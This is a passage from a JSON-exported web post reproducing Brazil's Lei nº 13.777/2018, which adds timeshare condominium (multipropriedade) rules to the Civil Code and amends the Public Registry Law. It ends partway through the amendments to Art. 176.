{"id":431,"date":"2019-01-08T09:04:26","date_gmt":"2019-01-08T11:04:26","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/lei-no-13-777-2018-dispoe-sobre-o-regime-juridico-da-multipropriedade-e-seu-registro\/"},"modified":"2019-01-08T09:04:26","modified_gmt":"2019-01-08T11:04:26","slug":"lei-no-13-777-2018-dispoe-sobre-o-regime-juridico-da-multipropriedade-e-seu-registro","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/lei-no-13-777-2018-dispoe-sobre-o-regime-juridico-da-multipropriedade-e-seu-registro\/","title":{"rendered":"LEI N\u00ba 13.777\/2018. &#8211; Disp\u00f5e sobre o regime jur\u00eddico da multipropriedade e seu registro."},"content":{"rendered":"<p style=\"text-align:center\"><strong><small><a href=\"http:\/\/legislacao.planalto.gov.br\/legisla\/legislacao.nsf\/Viw_Identificacao\/lei%2013.777-2018?OpenDocument\" style=\"color: rgb(0, 0, 128);\">LEI N&ordm; 13.777, DE 20 DE DEZEMBRO DE 2018.<\/a><\/small><\/strong><\/p>\n<p>&nbsp;<\/p>\n<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width:100%\">\n<tbody>\n<tr>\n<td>\n<p>Altera as Leis n<u><sup>os<\/sup><\/u>&nbsp;10.406, de 10 de janeiro de 2002 (C&oacute;digo Civil), e 6.015, de 31 de dezembro de 1973 (Lei dos Registros P&uacute;blicos), para dispor sobre o regime jur&iacute;dico da multipropriedade e seu registro.<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>O&nbsp;PRESIDENTE DA&nbsp;REP&Uacute;BLICA&nbsp;<\/strong>Fa&ccedil;o saber que o Congresso Nacional decreta e eu sanciono a seguinte Lei:<\/p>\n<p><a name=\"art1\"><\/a>Art. 1&ordm;&nbsp; O&nbsp;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#parteespeciallivroiiitituloiii\">T&iacute;tulo III do Livro III da Parte Especial da Lei n&ordm; 10.406, de 10 de janeiro de 2002 (C&oacute;digo Civil)<\/a>, passa a vigorar acrescido do seguinte Cap&iacute;tulo VII-A:&nbsp;<\/p>\n<blockquote>\n<blockquote>\n<p>&ldquo;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#parteespeciallivroiiitituloiiicapituloviia\">CAP&Iacute;TULO VII-A<\/a><\/p>\n<p>DO CONDOM&Iacute;NIO EM MULTIPROPRIEDADE&nbsp;<\/p>\n<p><strong>Se&ccedil;&atilde;o I<\/strong><\/p>\n<p><strong>Disposi&ccedil;&otilde;es Gerais<\/strong>&nbsp;<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#art1358b\">Art. 1.358-B<\/a>. &nbsp;A multipropriedade reger-se-&aacute; pelo disposto neste Cap&iacute;tulo e, de forma supletiva e subsidi&aacute;ria, pelas demais disposi&ccedil;&otilde;es deste C&oacute;digo e pelas disposi&ccedil;&otilde;es das Leis n&ordm;s 4.591, de 16 de dezembro de 1964, e 8.078, de 11 de setembro de 1990 (C&oacute;digo de Defesa do Consumidor).<\/p>\n<p>Art. 1.358-C. &nbsp;Multipropriedade &eacute; o regime de condom&iacute;nio em que cada um dos propriet&aacute;rios de um mesmo im&oacute;vel &eacute; titular de uma fra&ccedil;&atilde;o de tempo, &agrave; qual corresponde a faculdade de uso e gozo, com exclusividade, da totalidade do im&oacute;vel, a ser exercida pelos propriet&aacute;rios de forma alternada.<\/p>\n<p>Par&aacute;grafo &uacute;nico. &nbsp;A multipropriedade n&atilde;o se extinguir&aacute; automaticamente se todas as fra&ccedil;&otilde;es de tempo forem do mesmo multipropriet&aacute;rio.<\/p>\n<p>Art. 1.358-D. &nbsp;O im&oacute;vel objeto da multipropriedade:<\/p>\n<p>I &#8211; &eacute; indivis&iacute;vel, n&atilde;o se sujeitando a a&ccedil;&atilde;o de divis&atilde;o ou de extin&ccedil;&atilde;o de condom&iacute;nio;&nbsp;<\/p>\n<p>II &#8211; inclui as instala&ccedil;&otilde;es, os equipamentos e o mobili&aacute;rio destinados a seu uso e gozo.<\/p>\n<p>Art. 1.358-E. &nbsp;Cada fra&ccedil;&atilde;o de tempo &eacute; indivis&iacute;vel.<\/p>\n<p>&sect; 1&ordm; &nbsp;O per&iacute;odo correspondente a cada fra&ccedil;&atilde;o de tempo ser&aacute; de, no m&iacute;nimo, 7 (sete) dias, seguidos ou intercalados, e poder&aacute; ser:<\/p>\n<p>I &#8211; fixo e determinado, no mesmo per&iacute;odo de cada ano;<\/p>\n<p>II &#8211; flutuante, caso em que a determina&ccedil;&atilde;o do per&iacute;odo ser&aacute; realizada de forma peri&oacute;dica, mediante procedimento objetivo que respeite, em rela&ccedil;&atilde;o a todos os multipropriet&aacute;rios, o princ&iacute;pio da isonomia, devendo ser previamente divulgado; ou<\/p>\n<p>III &#8211; misto, combinando os sistemas fixo e flutuante.<\/p>\n<p>&sect; 2&ordm; &nbsp;Todos os multipropriet&aacute;rios ter&atilde;o direito a uma mesma quantidade m&iacute;nima de dias seguidos durante o ano, podendo haver a aquisi&ccedil;&atilde;o de fra&ccedil;&otilde;es maiores que a m&iacute;nima, com o correspondente direito ao uso por per&iacute;odos tamb&eacute;m maiores. &nbsp;<\/p>\n<p><strong>Se&ccedil;&atilde;o II<\/strong><\/p>\n<p><strong>Da Institui&ccedil;&atilde;o da Multipropriedade<\/strong>&nbsp;<\/p>\n<p>Art. 1.358-F. &nbsp;Institui-se a multipropriedade por ato entre vivos ou testamento, registrado no competente cart&oacute;rio de registro de im&oacute;veis, devendo constar daquele ato a dura&ccedil;&atilde;o dos per&iacute;odos correspondentes a cada fra&ccedil;&atilde;o de tempo.<\/p>\n<p>Art. 1.358-G. &nbsp;Al&eacute;m das cl&aacute;usulas que os multipropriet&aacute;rios decidirem estipular, a conven&ccedil;&atilde;o de condom&iacute;nio em multipropriedade determinar&aacute;:<\/p>\n<p>I &#8211; os poderes e deveres dos multipropriet&aacute;rios, especialmente em mat&eacute;ria de instala&ccedil;&otilde;es, equipamentos e mobili&aacute;rio do im&oacute;vel, de manuten&ccedil;&atilde;o ordin&aacute;ria e extraordin&aacute;ria, de conserva&ccedil;&atilde;o e limpeza e de pagamento da contribui&ccedil;&atilde;o condominial;<\/p>\n<p>II &#8211; o n&uacute;mero m&aacute;ximo de pessoas que podem ocupar simultaneamente o im&oacute;vel no per&iacute;odo correspondente a cada fra&ccedil;&atilde;o de tempo;<\/p>\n<p>III &#8211; as regras de acesso do administrador condominial ao im&oacute;vel para cumprimento do dever de manuten&ccedil;&atilde;o, conserva&ccedil;&atilde;o e limpeza;<\/p>\n<p>IV &#8211; a cria&ccedil;&atilde;o de fundo de reserva para reposi&ccedil;&atilde;o e manuten&ccedil;&atilde;o dos equipamentos, instala&ccedil;&otilde;es e mobili&aacute;rio;<\/p>\n<p>V &#8211; o regime aplic&aacute;vel em caso de perda ou destrui&ccedil;&atilde;o parcial ou total do im&oacute;vel, inclusive para efeitos de participa&ccedil;&atilde;o no risco ou no valor do seguro, da indeniza&ccedil;&atilde;o ou da parte restante;&nbsp;<\/p>\n<p>VI &#8211; as multas aplic&aacute;veis ao multipropriet&aacute;rio nas hip&oacute;teses de descumprimento de deveres.<\/p>\n<p>Art. 1.358-H. &nbsp;O instrumento de institui&ccedil;&atilde;o da multipropriedade ou a conven&ccedil;&atilde;o de condom&iacute;nio em multipropriedade poder&aacute; estabelecer o limite m&aacute;ximo de fra&ccedil;&otilde;es de tempo no mesmo im&oacute;vel que poder&atilde;o ser detidas pela mesma pessoa natural ou jur&iacute;dica.<\/p>\n<p>Par&aacute;grafo &uacute;nico. Em caso de institui&ccedil;&atilde;o da multipropriedade para posterior venda das fra&ccedil;&otilde;es de tempo a terceiros, o atendimento a eventual limite de fra&ccedil;&otilde;es de tempo por titular estabelecido no instrumento de institui&ccedil;&atilde;o ser&aacute; obrigat&oacute;rio somente ap&oacute;s a venda das fra&ccedil;&otilde;es.&nbsp;<\/p>\n<p><strong>Se&ccedil;&atilde;o III<\/strong><\/p>\n<p><strong>Dos Direitos e das Obriga&ccedil;&otilde;es do Multipropriet&aacute;rio<\/strong>&nbsp;<\/p>\n<p>Art. 1.358-I. &nbsp;S&atilde;o direitos do multipropriet&aacute;rio, al&eacute;m daqueles previstos no instrumento de institui&ccedil;&atilde;o e na conven&ccedil;&atilde;o de condom&iacute;nio em multipropriedade:<\/p>\n<p>I &#8211; usar e gozar, durante o per&iacute;odo correspondente &agrave; sua fra&ccedil;&atilde;o de tempo, do im&oacute;vel e de suas instala&ccedil;&otilde;es, equipamentos e mobili&aacute;rio;<\/p>\n<p>II &#8211; ceder a fra&ccedil;&atilde;o de tempo em loca&ccedil;&atilde;o ou comodato;<\/p>\n<p>III &#8211; alienar a fra&ccedil;&atilde;o de tempo, por ato entre vivos ou por causa de morte, a t&iacute;tulo oneroso ou gratuito, ou oner&aacute;-la, devendo a aliena&ccedil;&atilde;o e a qualifica&ccedil;&atilde;o do sucessor, ou a onera&ccedil;&atilde;o, ser informadas ao administrador;<\/p>\n<p>IV &#8211; participar e votar, pessoalmente ou por interm&eacute;dio de representante ou procurador, desde que esteja quite com as obriga&ccedil;&otilde;es condominiais, em:<\/p>\n<p>a) assembleia geral do condom&iacute;nio em multipropriedade, e o voto do multipropriet&aacute;rio corresponder&aacute; &agrave; quota de sua fra&ccedil;&atilde;o de tempo no im&oacute;vel;<\/p>\n<p>b) assembleia geral do condom&iacute;nio edil&iacute;cio, quando for o caso, e o voto do multipropriet&aacute;rio corresponder&aacute; &agrave; quota de sua fra&ccedil;&atilde;o de tempo em rela&ccedil;&atilde;o &agrave; quota de poder pol&iacute;tico atribu&iacute;do &agrave; unidade aut&ocirc;noma na respectiva conven&ccedil;&atilde;o de condom&iacute;nio edil&iacute;cio.<\/p>\n<p>Art. 1.358-J. &nbsp;S&atilde;o obriga&ccedil;&otilde;es do multipropriet&aacute;rio, al&eacute;m daquelas previstas no instrumento de institui&ccedil;&atilde;o e na conven&ccedil;&atilde;o de condom&iacute;nio em multipropriedade:<\/p>\n<p>I &#8211; pagar a contribui&ccedil;&atilde;o condominial do condom&iacute;nio em multipropriedade e, quando for o caso, do condom&iacute;nio edil&iacute;cio, ainda que renuncie ao uso e gozo, total ou parcial, do im&oacute;vel, das &aacute;reas comuns ou das respectivas instala&ccedil;&otilde;es, equipamentos e mobili&aacute;rio;&nbsp;<\/p>\n<p>II &#8211; responder por danos causados ao im&oacute;vel, &agrave;s instala&ccedil;&otilde;es, aos equipamentos e ao mobili&aacute;rio por si, por qualquer de seus acompanhantes, convidados ou prepostos ou por pessoas por ele autorizadas;<\/p>\n<p>III &#8211; comunicar imediatamente ao administrador os defeitos, avarias e v&iacute;cios no im&oacute;vel dos quais tiver ci&ecirc;ncia durante a utiliza&ccedil;&atilde;o;<\/p>\n<p>IV &#8211; n&atilde;o modificar, alterar ou substituir o mobili&aacute;rio, os equipamentos e as instala&ccedil;&otilde;es do im&oacute;vel;<\/p>\n<p>V &#8211; manter o im&oacute;vel em estado de conserva&ccedil;&atilde;o e limpeza condizente com os fins a que se destina e com a natureza da respectiva constru&ccedil;&atilde;o;<\/p>\n<p>VI &#8211; usar o im&oacute;vel, bem como suas instala&ccedil;&otilde;es, equipamentos e mobili&aacute;rio, conforme seu destino e natureza;<\/p>\n<p>VII &#8211; usar o im&oacute;vel exclusivamente durante o per&iacute;odo correspondente &agrave; sua fra&ccedil;&atilde;o de tempo;<\/p>\n<p>VIII &#8211; desocupar o im&oacute;vel, impreterivelmente, at&eacute; o dia e hora fixados no instrumento de institui&ccedil;&atilde;o ou na conven&ccedil;&atilde;o de condom&iacute;nio em multipropriedade, sob pena de multa di&aacute;ria, conforme convencionado no instrumento pertinente;<\/p>\n<p>IX &#8211; permitir a realiza&ccedil;&atilde;o de obras ou reparos urgentes.<\/p>\n<p>&sect; 1&ordm; &nbsp;Conforme previs&atilde;o que dever&aacute; constar da respectiva conven&ccedil;&atilde;o de condom&iacute;nio em multipropriedade, o multipropriet&aacute;rio estar&aacute; sujeito a:<\/p>\n<p>I &#8211; multa, no caso de descumprimento de qualquer de seus deveres;<\/p>\n<p>II &#8211; multa progressiva e perda tempor&aacute;ria do direito de utiliza&ccedil;&atilde;o do im&oacute;vel no per&iacute;odo correspondente &agrave; sua fra&ccedil;&atilde;o de tempo, no caso de descumprimento reiterado de deveres.<\/p>\n<p>&sect; 2&ordm; &nbsp;A responsabilidade pelas despesas referentes a reparos no im&oacute;vel, bem como suas instala&ccedil;&otilde;es, equipamentos e mobili&aacute;rio, ser&aacute;:<\/p>\n<p>I &#8211; de todos os multipropriet&aacute;rios, quando decorrentes do uso normal e do desgaste natural do im&oacute;vel;<\/p>\n<p>II &#8211; exclusivamente do multipropriet&aacute;rio respons&aacute;vel pelo uso anormal, sem preju&iacute;zo de multa, quando decorrentes de uso anormal do im&oacute;vel.<\/p>\n<p>&sect; 3&ordm; &nbsp;(VETADO).<\/p>\n<p>&sect; 4&ordm; &nbsp;(VETADO).<\/p>\n<p>&sect; 5&ordm; &nbsp;(VETADO).<\/p>\n<p>Art. 1.358-K. &nbsp;Para os efeitos do disposto nesta Se&ccedil;&atilde;o, s&atilde;o equiparados aos multipropriet&aacute;rios os promitentes compradores e os cession&aacute;rios de direitos relativos a cada fra&ccedil;&atilde;o de tempo.&nbsp;<\/p>\n<p><strong>Se&ccedil;&atilde;o IV<\/strong><\/p>\n<p><strong>Da Transfer&ecirc;ncia da Multipropriedade<\/strong>&nbsp;<\/p>\n<p>Art. 1.358-L. &nbsp;A transfer&ecirc;ncia do direito de multipropriedade e a sua produ&ccedil;&atilde;o de efeitos perante terceiros dar-se-&atilde;o na forma da lei civil e n&atilde;o depender&atilde;o da anu&ecirc;ncia ou cientifica&ccedil;&atilde;o dos demais multipropriet&aacute;rios.<\/p>\n<p>&sect; 1&ordm; &nbsp;N&atilde;o haver&aacute; direito de prefer&ecirc;ncia na aliena&ccedil;&atilde;o de fra&ccedil;&atilde;o de tempo, salvo se estabelecido no instrumento de institui&ccedil;&atilde;o ou na conven&ccedil;&atilde;o do condom&iacute;nio em multipropriedade em favor dos demais multipropriet&aacute;rios ou do instituidor do condom&iacute;nio em multipropriedade.<\/p>\n<p>&sect; 2&ordm; &nbsp;O adquirente ser&aacute; solidariamente respons&aacute;vel com o alienante pelas obriga&ccedil;&otilde;es de que trata o &sect; 5&ordm; do art. 1.358-J deste C&oacute;digo caso n&atilde;o obtenha a declara&ccedil;&atilde;o de inexist&ecirc;ncia de d&eacute;bitos referente &agrave; fra&ccedil;&atilde;o de tempo no momento de sua aquisi&ccedil;&atilde;o.&nbsp;<\/p>\n<p><strong>Se&ccedil;&atilde;o V<\/strong><\/p>\n<p><strong>Da Administra&ccedil;&atilde;o da Multipropriedade<\/strong>&nbsp;<\/p>\n<p>Art. 1.358-M. &nbsp;A administra&ccedil;&atilde;o do im&oacute;vel e de suas instala&ccedil;&otilde;es, equipamentos e mobili&aacute;rio ser&aacute; de responsabilidade da pessoa indicada no instrumento de institui&ccedil;&atilde;o ou na conven&ccedil;&atilde;o de condom&iacute;nio em multipropriedade, ou, na falta de indica&ccedil;&atilde;o, de pessoa escolhida em assembleia geral dos cond&ocirc;minos.<\/p>\n<p>&sect; 1&ordm; &nbsp;O administrador exercer&aacute;, al&eacute;m daquelas previstas no instrumento de institui&ccedil;&atilde;o e na conven&ccedil;&atilde;o de condom&iacute;nio em multipropriedade, as seguintes atribui&ccedil;&otilde;es:<\/p>\n<p>I &#8211; coordena&ccedil;&atilde;o da utiliza&ccedil;&atilde;o do im&oacute;vel pelos multipropriet&aacute;rios durante o per&iacute;odo correspondente a suas respectivas fra&ccedil;&otilde;es de tempo;<\/p>\n<p>II &#8211; determina&ccedil;&atilde;o, no caso dos sistemas flutuante ou misto, dos per&iacute;odos concretos de uso e gozo exclusivos de cada multipropriet&aacute;rio em cada ano;&nbsp;<\/p>\n<p>III &#8211; manuten&ccedil;&atilde;o, conserva&ccedil;&atilde;o e limpeza do im&oacute;vel;<\/p>\n<p>IV &#8211; troca ou substitui&ccedil;&atilde;o de instala&ccedil;&otilde;es, equipamentos ou mobili&aacute;rio, inclusive:<\/p>\n<p>a) determinar a necessidade da troca ou substitui&ccedil;&atilde;o;<\/p>\n<p>b) providenciar os or&ccedil;amentos necess&aacute;rios para a troca ou substitui&ccedil;&atilde;o;<\/p>\n<p>c) submeter os or&ccedil;amentos &agrave; aprova&ccedil;&atilde;o pela maioria simples dos cond&ocirc;minos em assembleia;<\/p>\n<p>V &#8211; elabora&ccedil;&atilde;o do or&ccedil;amento anual, com previs&atilde;o das receitas e despesas;<\/p>\n<p>VI &#8211; cobran&ccedil;a das quotas de custeio de responsabilidade dos multipropriet&aacute;rios;<\/p>\n<p>VII &#8211; pagamento, por conta do condom&iacute;nio edil&iacute;cio ou volunt&aacute;rio, com os fundos comuns arrecadados, de todas as despesas comuns.<\/p>\n<p>&sect; 2&ordm; &nbsp;A conven&ccedil;&atilde;o de condom&iacute;nio em multipropriedade poder&aacute; regrar de forma diversa a atribui&ccedil;&atilde;o prevista no inciso IV do &sect; 1&ordm; deste artigo.<\/p>\n<p>Art. 1.358-N. &nbsp;O instrumento de institui&ccedil;&atilde;o poder&aacute; prever fra&ccedil;&atilde;o de tempo destinada &agrave; realiza&ccedil;&atilde;o, no im&oacute;vel e em suas instala&ccedil;&otilde;es, em seus equipamentos e em seu mobili&aacute;rio, de reparos indispens&aacute;veis ao exerc&iacute;cio normal do direito de multipropriedade.<\/p>\n<p>&sect; 1&ordm; A fra&ccedil;&atilde;o de tempo de que trata o&nbsp;<strong>caput<\/strong>&nbsp;deste artigo poder&aacute; ser atribu&iacute;da:<\/p>\n<p>I &#8211; ao instituidor da multipropriedade; ou<\/p>\n<p>II &#8211; aos multipropriet&aacute;rios, proporcionalmente &agrave;s respectivas fra&ccedil;&otilde;es.<\/p>\n<p>&sect; 2&ordm; Em caso de emerg&ecirc;ncia, os reparos de que trata o&nbsp;<strong>caput<\/strong>&nbsp;deste artigo poder&atilde;o ser feitos durante o per&iacute;odo correspondente &agrave; fra&ccedil;&atilde;o de tempo de um dos multipropriet&aacute;rios.&nbsp;<\/p>\n<p><strong>Se&ccedil;&atilde;o VI<\/strong><\/p>\n<p><strong>Disposi&ccedil;&otilde;es Espec&iacute;ficas Relativas &agrave;s Unidades Aut&ocirc;nomas de Condom&iacute;nios Edil&iacute;cios<\/strong>&nbsp;<\/p>\n<p>Art. 1.358-O. &nbsp;O condom&iacute;nio edil&iacute;cio poder&aacute; adotar o regime de multipropriedade em parte ou na totalidade de suas unidades aut&ocirc;nomas, mediante:<\/p>\n<p>I &#8211; previs&atilde;o no instrumento de institui&ccedil;&atilde;o; ou<\/p>\n<p>II &#8211; delibera&ccedil;&atilde;o da maioria absoluta dos cond&ocirc;minos.<\/p>\n<p>Par&aacute;grafo &uacute;nico. No caso previsto no inciso I do&nbsp;<strong>caput<\/strong>&nbsp;deste artigo, a iniciativa e a responsabilidade para a institui&ccedil;&atilde;o do regime da multipropriedade ser&atilde;o atribu&iacute;das &agrave;s mesmas pessoas e observar&atilde;o os mesmos requisitos indicados nas al&iacute;neas&nbsp;<em>a<\/em>,&nbsp;<em>b<\/em>&nbsp;e&nbsp;<em>c<\/em>&nbsp;e no &sect; 1&ordm; do art. 31 da Lei n&ordm; 4.591, de 16 de dezembro de 1964.<\/p>\n<p>Art. 1.358-P. &nbsp;Na hip&oacute;tese do art. 1.358-O, a conven&ccedil;&atilde;o de condom&iacute;nio edil&iacute;cio deve prever, al&eacute;m das mat&eacute;rias elencadas nos arts. 1.332, 1.334 e, se for o caso, 1.358-G deste C&oacute;digo:<\/p>\n<p>I &#8211; a identifica&ccedil;&atilde;o das unidades sujeitas ao regime da multipropriedade, no caso de empreendimentos mistos;<\/p>\n<p>II &#8211; a indica&ccedil;&atilde;o da dura&ccedil;&atilde;o das fra&ccedil;&otilde;es de tempo de cada unidade aut&ocirc;noma sujeita ao regime da multipropriedade;<\/p>\n<p>III &#8211; a forma de rateio, entre os multipropriet&aacute;rios de uma mesma unidade aut&ocirc;noma, das contribui&ccedil;&otilde;es condominiais relativas &agrave; unidade, que, salvo se disciplinada de forma diversa no instrumento de institui&ccedil;&atilde;o ou na conven&ccedil;&atilde;o de condom&iacute;nio em multipropriedade, ser&aacute; proporcional &agrave; fra&ccedil;&atilde;o de tempo de cada multipropriet&aacute;rio;<\/p>\n<p>IV &#8211; a especifica&ccedil;&atilde;o das despesas ordin&aacute;rias, cujo custeio ser&aacute; obrigat&oacute;rio, independentemente do uso e gozo do im&oacute;vel e das &aacute;reas comuns;<\/p>\n<p>V &#8211; os &oacute;rg&atilde;os de administra&ccedil;&atilde;o da multipropriedade;<\/p>\n<p>VI &#8211; a indica&ccedil;&atilde;o, se for o caso, de que o empreendimento conta com sistema de administra&ccedil;&atilde;o de interc&acirc;mbio, na forma prevista no &sect; 2&ordm; do art. 23 da Lei n&ordm; 11.771, de 17 de setembro de 2008, seja do per&iacute;odo de frui&ccedil;&atilde;o da fra&ccedil;&atilde;o de tempo, seja do local de frui&ccedil;&atilde;o, caso em que a responsabilidade e as obriga&ccedil;&otilde;es da companhia de interc&acirc;mbio limitam-se ao contido na documenta&ccedil;&atilde;o de sua contrata&ccedil;&atilde;o;<\/p>\n<p>VII &#8211; a compet&ecirc;ncia para a imposi&ccedil;&atilde;o de san&ccedil;&otilde;es e o respectivo procedimento, especialmente nos casos de mora no cumprimento das obriga&ccedil;&otilde;es de custeio e nos casos de descumprimento da obriga&ccedil;&atilde;o de desocupar o im&oacute;vel at&eacute; o dia e hora previstos;<\/p>\n<p>VIII &#8211; o qu&oacute;rum exigido para a delibera&ccedil;&atilde;o de adjudica&ccedil;&atilde;o da fra&ccedil;&atilde;o de tempo na hip&oacute;tese de inadimplemento do respectivo multipropriet&aacute;rio;<\/p>\n<p>IX &#8211; o qu&oacute;rum exigido para a delibera&ccedil;&atilde;o de aliena&ccedil;&atilde;o, pelo condom&iacute;nio edil&iacute;cio, da fra&ccedil;&atilde;o de tempo adjudicada em virtude do inadimplemento do respectivo multipropriet&aacute;rio.<\/p>\n<p>Art. 1.358-Q. &nbsp;Na hip&oacute;tese do art. 1.358-O deste C&oacute;digo, o regimento interno do condom&iacute;nio edil&iacute;cio deve prever:<\/p>\n<p>I &#8211; os direitos dos multipropriet&aacute;rios sobre as partes comuns do condom&iacute;nio edil&iacute;cio;<\/p>\n<p>II &#8211; os direitos e obriga&ccedil;&otilde;es do administrador, inclusive quanto ao acesso ao im&oacute;vel para cumprimento do dever de manuten&ccedil;&atilde;o, conserva&ccedil;&atilde;o e limpeza;<\/p>\n<p>III &#8211; as condi&ccedil;&otilde;es e regras para uso das &aacute;reas comuns;&nbsp;<\/p>\n<p>IV &#8211; os procedimentos a serem observados para uso e gozo dos im&oacute;veis e das instala&ccedil;&otilde;es, equipamentos e mobili&aacute;rio destinados ao regime da multipropriedade;<\/p>\n<p>V &#8211; o n&uacute;mero m&aacute;ximo de pessoas que podem ocupar simultaneamente o im&oacute;vel no per&iacute;odo correspondente a cada fra&ccedil;&atilde;o de tempo;<\/p>\n<p>VI &#8211; as regras de conviv&ecirc;ncia entre os multipropriet&aacute;rios e os ocupantes de unidades aut&ocirc;nomas n&atilde;o sujeitas ao regime da multipropriedade, quando se tratar de empreendimentos mistos;<\/p>\n<p>VII &#8211; a forma de contribui&ccedil;&atilde;o, destina&ccedil;&atilde;o e gest&atilde;o do fundo de reserva espec&iacute;fico para cada im&oacute;vel, para reposi&ccedil;&atilde;o e manuten&ccedil;&atilde;o dos equipamentos, instala&ccedil;&otilde;es e mobili&aacute;rio, sem preju&iacute;zo do fundo de reserva do condom&iacute;nio edil&iacute;cio;<\/p>\n<p>VIII &#8211; a possibilidade de realiza&ccedil;&atilde;o de assembleias n&atilde;o presenciais, inclusive por meio eletr&ocirc;nico;<\/p>\n<p>IX &#8211; os mecanismos de participa&ccedil;&atilde;o e representa&ccedil;&atilde;o dos titulares;<\/p>\n<p>X &#8211; o funcionamento do sistema de reserva, os meios de confirma&ccedil;&atilde;o e os requisitos a serem cumpridos pelo multipropriet&aacute;rio quando n&atilde;o exercer diretamente sua faculdade de uso;<\/p>\n<p>XI &#8211; a descri&ccedil;&atilde;o dos servi&ccedil;os adicionais, se existentes, e as regras para seu uso e custeio.<\/p>\n<p>Par&aacute;grafo &uacute;nico. O regimento interno poder&aacute; ser institu&iacute;do por escritura p&uacute;blica ou por instrumento particular.<\/p>\n<p>Art. 1.358-R. &nbsp;O condom&iacute;nio edil&iacute;cio em que tenha sido institu&iacute;do o regime de multipropriedade em parte ou na totalidade de suas unidades aut&ocirc;nomas ter&aacute; necessariamente um administrador profissional.<\/p>\n<p>&sect; 1&ordm; &nbsp;O prazo de dura&ccedil;&atilde;o do contrato de administra&ccedil;&atilde;o ser&aacute; livremente convencionado.<\/p>\n<p>&sect; 2&ordm; &nbsp;O administrador do condom&iacute;nio referido no&nbsp;<strong>caput<\/strong>&nbsp;deste artigo ser&aacute; tamb&eacute;m o administrador de todos os condom&iacute;nios em multipropriedade de suas unidades aut&ocirc;nomas.<\/p>\n<p>&sect; 3&ordm; &nbsp;O administrador ser&aacute; mandat&aacute;rio legal de todos os multipropriet&aacute;rios, exclusivamente para a realiza&ccedil;&atilde;o dos atos de gest&atilde;o ordin&aacute;ria da multipropriedade, incluindo manuten&ccedil;&atilde;o, conserva&ccedil;&atilde;o e limpeza do im&oacute;vel e de suas instala&ccedil;&otilde;es, equipamentos e mobili&aacute;rio.<\/p>\n<p>&sect; 4&ordm; &nbsp;O administrador poder&aacute; modificar o regimento interno quanto aos aspectos estritamente operacionais da gest&atilde;o da multipropriedade no condom&iacute;nio edil&iacute;cio.<\/p>\n<p>&sect; 5&ordm; &nbsp;O administrador pode ser ou n&atilde;o um prestador de servi&ccedil;os de hospedagem.&nbsp;<\/p>\n<p>Art. 1.358-S. &nbsp;Na hip&oacute;tese de inadimplemento, por parte do multipropriet&aacute;rio, da obriga&ccedil;&atilde;o de custeio das despesas ordin&aacute;rias ou extraordin&aacute;rias, &eacute; cab&iacute;vel, na forma da lei processual civil, a adjudica&ccedil;&atilde;o ao condom&iacute;nio edil&iacute;cio da fra&ccedil;&atilde;o de tempo correspondente.<\/p>\n<p>Par&aacute;grafo &uacute;nico. &nbsp;Na hip&oacute;tese de o im&oacute;vel objeto da multipropriedade ser parte integrante de empreendimento em que haja sistema de loca&ccedil;&atilde;o das fra&ccedil;&otilde;es de tempo no qual os titulares possam ou sejam obrigados a locar suas fra&ccedil;&otilde;es de tempo exclusivamente por meio de uma administra&ccedil;&atilde;o &uacute;nica, repartindo entre si as receitas das loca&ccedil;&otilde;es independentemente da efetiva ocupa&ccedil;&atilde;o de cada unidade aut&ocirc;noma, poder&aacute; a conven&ccedil;&atilde;o do condom&iacute;nio edil&iacute;cio regrar que em caso de inadimpl&ecirc;ncia:<\/p>\n<p>I &#8211; o inadimplente fique proibido de utilizar o im&oacute;vel at&eacute; a integral quita&ccedil;&atilde;o da d&iacute;vida;<\/p>\n<p>II &#8211; a fra&ccedil;&atilde;o de tempo do inadimplente passe a integrar o&nbsp;<strong>pool&nbsp;<\/strong>da administradora;<\/p>\n<p>III &#8211; a administradora do sistema de loca&ccedil;&atilde;o fique automaticamente munida de poderes e obrigada a, por conta e ordem do inadimplente, utilizar a integralidade dos valores l&iacute;quidos a que o inadimplente tiver direito para amortizar suas d&iacute;vidas condominiais, seja do condom&iacute;nio edil&iacute;cio, seja do condom&iacute;nio em multipropriedade, at&eacute; sua integral quita&ccedil;&atilde;o, devendo eventual saldo ser imediatamente repassado ao multipropriet&aacute;rio.<\/p>\n<p>Art. 1.358-T. &nbsp;O multipropriet&aacute;rio somente poder&aacute; renunciar de forma translativa a seu direito de multipropriedade em favor do condom&iacute;nio edil&iacute;cio.<\/p>\n<p>Par&aacute;grafo &uacute;nico. A ren&uacute;ncia de que trata o&nbsp;<strong>caput<\/strong>&nbsp;deste artigo s&oacute; &eacute; admitida se o multipropriet&aacute;rio estiver em dia com as contribui&ccedil;&otilde;es condominiais, com os tributos imobili&aacute;rios e, se houver, com o foro ou a taxa de ocupa&ccedil;&atilde;o.<\/p>\n<p>Art. 1.358-U. &nbsp;As conven&ccedil;&otilde;es dos condom&iacute;nios edil&iacute;cios, os memoriais de loteamentos e os instrumentos de venda dos lotes em loteamentos urbanos poder&atilde;o limitar ou impedir a institui&ccedil;&atilde;o da multipropriedade nos respectivos im&oacute;veis, veda&ccedil;&atilde;o que somente poder&aacute; ser alterada no m&iacute;nimo pela maioria absoluta dos cond&ocirc;minos.&rdquo;<\/p>\n<\/blockquote>\n<\/blockquote>\n<p><a name=\"art2\"><\/a>Art. 2&ordm; &nbsp;A Lei n&ordm; 6.015, de 31 de dezembro de 1973, passa vigorar com as seguintes altera&ccedil;&otilde;es:<\/p>\n<blockquote>\n<blockquote>\n<p>&ldquo;Art. 176. &nbsp;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<\/p>\n<p>&sect; 1&ordm; 